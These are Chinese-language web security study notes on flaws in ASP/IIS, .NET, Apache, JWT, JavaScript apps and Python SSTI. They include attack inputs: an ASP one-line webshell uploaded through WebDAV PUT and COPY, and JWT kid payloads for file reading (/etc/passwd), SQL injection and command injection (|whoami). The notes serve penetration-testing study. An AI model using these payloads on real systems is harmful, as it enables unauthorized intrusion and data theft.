ASP
- ASP环境搭建组合:Windows+IIS+ASP+Access(SQLserver)
Access数据库一般后缀名asp asa(前两个被解析)mdb(下载)
mdb文件在网站目录下
数据库配置:./database/***.mdb
后台:./admin/admin_login.asp
思路:如果知道数据库地址,可尝试获取数据库文件,获取当前管理员账号密码信息
-
IIS-短文件&解析&写权限
-
ASP-中间件-IIS短文件名探针-安全漏洞
-
ASP-中间件-IIS文件上传解析-安全漏洞
*.asp:.jpg
*.asp/1.jpg(*.asp的目录里有1.jpg)
下文具体解释 -
ASP-中间件-IIS配置目录读写-安全配置
网站配置中勾选了写入,同时Web服务拓展中的WebDAV开启,此时出现写入漏洞
-
IIS6.0解析漏洞
-
IIS版本
- Windows Server 2003→IIS 6.0
- Windows7→IIS7.0和IIS7.5
- Windows Server 2008 SP2→IIS7.0
- Windows Server 2008 R2→IIS7.5
- WindowsXP和Windows Server 2000→IIS5.0
-
漏洞原理
如上
-
上传原理
WebDAV基于HTTP1.1协议的通信协议使得HTTP支持PUT、MOVE、COPY和DELLTE方法
验证:
抓包时更改GET为OPTIONS,观察到返回包的Public里有多个方法,说明存在漏洞
-
上传TXT文件
PUT请求
<% eval request("a")%>
-
通过COPY重命名
COPY/1.txt HTTP1.1
Host:127.0.0.1
Destination:http://www.xxx.com/cmd.asp;.txt
#将1.txt重命名为cmd.asp;.txt -
删除文件
DELETE
ASPX
-
.NET环境搭建组合:Windows+IIS+ASPX+SQLserver
-
.NET配置调试-信息泄露
-
.NET项目-Web.config错误调试-信息泄露
<customErrors mode="Off"</customErrors>
<!--
自定义错误,三种状态"Off"、"On"、"RemoteOnly"
-->
-
-
.NET常见安全问题-未授权访问
- 找没有包含验证代码的文件
- 验证代码文件有没有可以绕过
PHP
详见《PHP特性.md》
Apache HTTPD解析漏洞
- 漏洞原理
服务器解析某些精心构造的后缀文件时,会将其解析成网页脚本
Apache HTTPD是一款HTTP服务器,其2.1.0~2.4.29版本存在解析漏洞,解析PHP时,1.php\x0A将按照.php进行解析
上传一个1.php文件
|
抓包时在文件名后加个空格,然后在hex里修改20为0a,放包后成功
Java
详见《Java安全》
-
通过目录遍历传shell至可执行的文件夹
-
身份验证逻辑
问题有很多选项: |
安全验证:固定接收的数据:s0、s1
不固定:s0、s1判断数据→正常
s2、s3不在数据库或者变量内→非法
- JWT:JSON Web令牌(JWT)验证用户的身份
判定网站是否采用JWT验证;
数据包中Cookie可明确看到JWT特有的字符串格式:三部分,以点为间格
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
绕过:
- 空加密算法
在header中指定alg为None
若某天开发人员在生产环境中开启了空加密算法,缺少签名算法,jwt保证信息不被篡改的功能就失效了。攻击者只需要把alg字段设置为None,就可以在payload中构造身份信息,伪造用户身份。
- 修改RSA加密算法为HMAC
JWT中最常用的两种算法为HMAC和RSA
在HMAC和RSA算法中,都是使用私钥对signature字段进行签名,只有拿到了加密时使用的私钥,才有可能伪造token。
假设一个Web应用,在JWT传输过程中使用RSA算法,密钥pem对JWT token进行签名,公钥pub对签名进行验证。
{ |
通常情况下密钥pem是无法获取到的,但是公钥pub却可以很容易通过某些途径读取到,这时,将JWT的加密算法修改为HMAC,即
{ |
同时使用获取到的公钥pub作为算法的密钥,对token进行签名,发送到服务器端。
服务器端会将RSA的公钥(pub)视为当前算法(HMAC)的密钥,使用HS256算法对接收到的签名进行验证。
- 爆破密钥
前提:
- 知悉JWT使用的加密算法
- 一段有效的、已签名的token
- 签名用的密钥不复杂(弱密钥)
-
修改KID参数
kid是jwt header中的一个可选参数,全称是key ID,它用于指定加密算法的密钥
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "/home/jwt/.ssh/pem"
}因为该参数可以由用户输入,所以也可能造成一些安全问题。
-
任意文件读取
kid参数用于读取密钥文件,但系统并不会知道用户想要读取的到底是不是密钥文件,所以,如果在没有对参数进行过滤的前提下,攻击者是可以读取到系统的任意文件的。
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "/etc/passwd"
} -
SQL注入
kid也可以从数据库中提取数据,这时候就有可能造成SQL注入攻击,通过构造SQL语句来获取数据或者是绕过signature的验证
{
``"alg"` `: ``"HS256"``,
``"typ"` `: ``"jwt"``,
``"kid"` `: ``"key11111111' || union select 'secretkey' -- "
} -
命令注入
对kid参数过滤不严也可能会出现命令注入问题,但是利用条件比较苛刻。如果服务器后端使用的是Ruby,在读取密钥文件时使用了open函数,通过构造参数就可能造成命令注入。
"/path/to/key_file|whoami"
对于其他的语言,例如php,如果代码中使用的是exec或者是system来读取密钥文件,那么同样也可以造成命令注入,当然这个可能性就比较小了。
-
-
修改JKU/X5U参数
JKU的全称是"JSON Web Key Set URL",用于指定一组用于验证令牌的密钥的URL。类似于kid,JKU也可以由用户指定输入数据,如果没有经过严格过滤,就可以指定一组自定义的密钥文件,并指定web应用使用该组密钥来验证token。
X5U则以URI的形式数允许攻击者指定用于验证令牌的公钥证书或证书链,与JKU的攻击利用方式类似。
- 信息泄露
JWT保证的是数据传输过程中的完整性而不是机密性。
由于payload是使用base64url编码的,所以相当于明文传输,如果在payload中携带了敏感信息(如存放密钥对的文件路径),单独对payload部分进行base64url解码,就可以读取到payload中携带的信息。
base64url加密是先做base64加密,然后再将-替代+及_替代/。
-
访问控制
-
隐藏属性:前端页面的自卫限制显示
源码中已经暴露的id值、等级之类的编号,可尝试修改值测试是否可以切换到另外用户查看信息
-
水平越权:同一级别用户权限的查看
-
-
反序列化:后续讲
JavaScript
JavaScript开发的Web应用和PHP、Java、.NET等区别在于即没有源代码,也可以通过浏览器的查看源代码获取真实代码(相当于JS开发的Web应用属于白盒测试(默认有源码参考))
- 如何判定JS开发应用?
源代码简短
引入多个js文件
一般有/static/js/app.js等顺序的js文件
cookie中有connect.sid
- 如何获取更多的js文件?
JSFinder
Packer-Fuzzer
扫描器后缀替换字典
- 如何快速获取价值代码?
method:“get”
http.get("
method:“post”
http.post("
$.ajax
service.httppost
service.httpget
Python
- Python文件反编译
- Python-Web-SSTI
- SSTI模板注入利用分析
识别Python网站中间件:Werkzeug
- SSTI
服务端接收用户恶意输入后未经任何处理就将其作为Web应用模板内容的部分。模板引擎在进行目标编译渲染的过程中执行了用户插入的可以破坏模板的语句,因为可能导致了敏感信息泄露
render_template_string()
SSTI可能会出现的相关的地方